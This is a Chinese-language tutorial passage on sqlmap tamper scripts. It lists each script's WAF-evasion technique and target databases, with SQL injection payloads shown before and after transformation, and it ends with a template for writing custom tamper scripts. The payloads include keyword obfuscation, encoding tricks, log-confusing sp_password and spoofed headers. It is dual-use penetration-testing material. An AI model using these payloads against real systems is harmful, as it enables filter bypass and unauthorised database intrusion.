modsecurityzeroversioned.py
功能:用注释来包围完整的查询语句,用于绕过 waf ,和上面类似
平台:Mysql
举例:1 and 2>1–+ ==> 1 /!00000and 2>1/–+

multiplespaces.py
功能:围绕 SQL 关键字添加多个空格
平台:All
举例:1 UNION SELECT foobar ==> 1 UNION SELECT foobar

nonrecursivereplacement.py
功能:关键字双写,可用于关键字过滤
平台:All
举例:1 UNION SELECT 2–  ==> 1 UNIONUNION SELESELECTCT 2–

overlongutf8.py
功能: 转换给定的 payload 当中的所有字符
平台:All
举例:SELECT FIELD FROM TABLE WHERE 2>1 ==> SELECT% C0% AAFIELD% C0% AAFROM% C0% AATABLE% C0% AAWHERE% C0% AA2% C0% BE1

percentage.py
功能:用百分号来绕过关键字过滤,在关键字的每个字母前面都加一个 (%)
平台:Mssql 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
举例:SELECT FIELD FROM TABLE ==> % S% E% L% E% C% T % F% I% E% L% D % F% R% O% M % T% A% B% L% E

randomcase.py
功能:将 payload 随机大小写
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:INSERT ==> InseRt

randomcomments.py
功能:在 payload 的关键字中间随机插入注释符 /**/ ,可用于绕过关键字过滤
平台:Mysql
举例:INSERT ==> I / ** / N / ** / SERT

securesphere.py
功能:在 payload 后追加特殊构造的字符串
平台:All
举例:1 AND 1=1 ==> 1 AND 1=1 and ‘0having’=’0having’

space2comment.py
功能:用注释符 // 代替空格,用于空格的绕过
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT id FROM users ==> SELECT//id//FROM//users

space2dash.py
功能:用 [注释符 (–)+ 一个随机字符串 + 一个换行符] 替换控制符
平台:MSSQL、 SQLite
举例:union select 1,2–+ ==> union–HSHjsJh%0Aselect–HhjHSJ%0A1,2–+

space2hash.py
功能:用 [注释符 (#)+ 一个随机字符串 + 一个换行符] 替换控制符
平台:Mysql
举例:union select 1,2–+ ==> union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2–+

space2morehash.py
功能:用多个 [注释符 (#)+ 一个随机字符串 + 一个换行符] 替换控制符
平台:MySQL >= 5.1.13
举例:union select 1,2–+ ==> union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2–+

space2mssqlblank.py
功能:用随机的空白符替换 payload 中的空格
blanks = (‘%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’, ‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
平台:Mssql 2000,2005
举例:SELECT id FROM users ==> SELECT%0Eid%0DFROM%07users

space2mssqlhash.py
功能:用 [字符# + 一个换行符] 替换 payload 中的空格
平台:MSSQL、MySQL
举例:union select 1,2–+ ==> union%23%0Aselect%23%0A1,2–+

space2plus.py
功能:用加号 (+) 替换空格
平台:All
举例:SELECT id FROM users ==> SELECT+id+FROM+users

space2randomblank.py
功能:用随机的空白符替换 payload 中的空格
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT id FROM users ==> SELECT%0Did%0DFROM%0Ausers

sp_password.py
功能:在 payload 语句后添加 sp_password ,用于迷惑数据库日志(Space ==> sp_password)
平台:Mssql
举例:1 AND 9227=9227–  ==> 1 AND 9227=9227 – sp_password

symboliclogical.py
功能:用 && 替换 and ,用 || 替换 or ,用于这些关键字被过滤的情况
平台:All
举例:
1 and 1=1 ==> 1 %26%26 1=1
1 or 1=1 ==> 1 %7c%7c 1=1

unionalltounion.py
功能:用 union select 替换 union all select
平台:All
举例:union all select 1,2–+ ==> union select 1,2–+

unmagicquotes.py
功能:用宽字符绕过 GPC addslashes
平台:All
举例:1’ and 1=1 ==> 1% df%27 and 1=1–

uppercase.py
功能:将 payload 中的小写字母转为大写格式
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:insert ==> INSERT

varnish.py
功能:添加一个 HTTP 头 “X-originating-IP” 来绕过 WAF
平台:headers = kwargs.get (“headers”, {}) headers [“X-originating-IP”] = “127.0.0.1”return payload
举例:All

versionedkeywords.py
功能:对非函数的关键字进行注释
平台:MySQL 4.0.18, 5.1.56, 5.5.11
举例:1 union select user () ==> 1/!UNION//!SELECT/user ()

versionedmorekeywords.py
功能:对每个关键字进行注释处理
平台:MySQL 5.1.56, 5.5.11
举例:1 union select user () ==> 1/!UNION//!SELECT/user ()

xforwardedfor.py
功能:添加一个伪造的 HTTP 头 “X-Forwarded-For” 来绕过 WAF
平台:All
举例:headers = kwargs.get (“headers”, {}) headers [“X-Forwarded-For”] = randomIP () return payload

编写tamper

参考:

# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    '''
    Description of your tamper script
    '''

    retVal = payload.replace('\'', "%EF%BC%87") if payload else payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal

这个 tamper 非常的简单,写的话参考这个就可以了,先来分析这里边有什么元素

  • import部分
  • __priority__ 属性
  • dependencies函数
  • tamper函数以及用户自定义的函数

import部分
可以导入sqlmap的内部库,sqlmap 为我们提供了很多封装好的函数和数据类型,比如上面的的PRIORITY就来源于sqlmap/lib/core/enums.py

priority
定义当前 tamper 的优先级,用于有多个tamper脚本的情况,有以下参数

class PRIORITY:

LOWEST = -100

LOWER = -50

LOW = -10

NORMAL = 0

HIGH = 10

HIGHER = 50

HIGHEST = 100

dependencies

函数声明该脚本适用/不适用的范围,可以为空,比如以下代码

# sqlmap/tamper/echarunicodeencode.py
from lib.core.common import singleTimeWarnMessage
 
def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0])
 
# singleTimeWarnMessage() 于在控制台中打印出警告信息

数据库有以下名称,在lib\core\enums.py可以看到全部

class DBMS:
ACCESS = “Microsoft Access”
DB2 = “IBM DB2”
FIREBIRD = “Firebird”
MAXDB = “SAP MaxDB”
MSSQL = “Microsoft SQL Server”
MYSQL = “MySQL”
ORACLE = “Oracle”
PGSQL = “PostgreSQL”
SQLITE = “SQLite”
SYBASE = “Sybase”
HSQLDB = “HSQLDB”
……

**kwargs中包含了 http 头的数据,可以从kwargs中取出headers数组在进行更改

比如将 http 头中的 xff 头变为随机 ip

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    headers["X-Forwarded-For"] = randomIP()
    return payload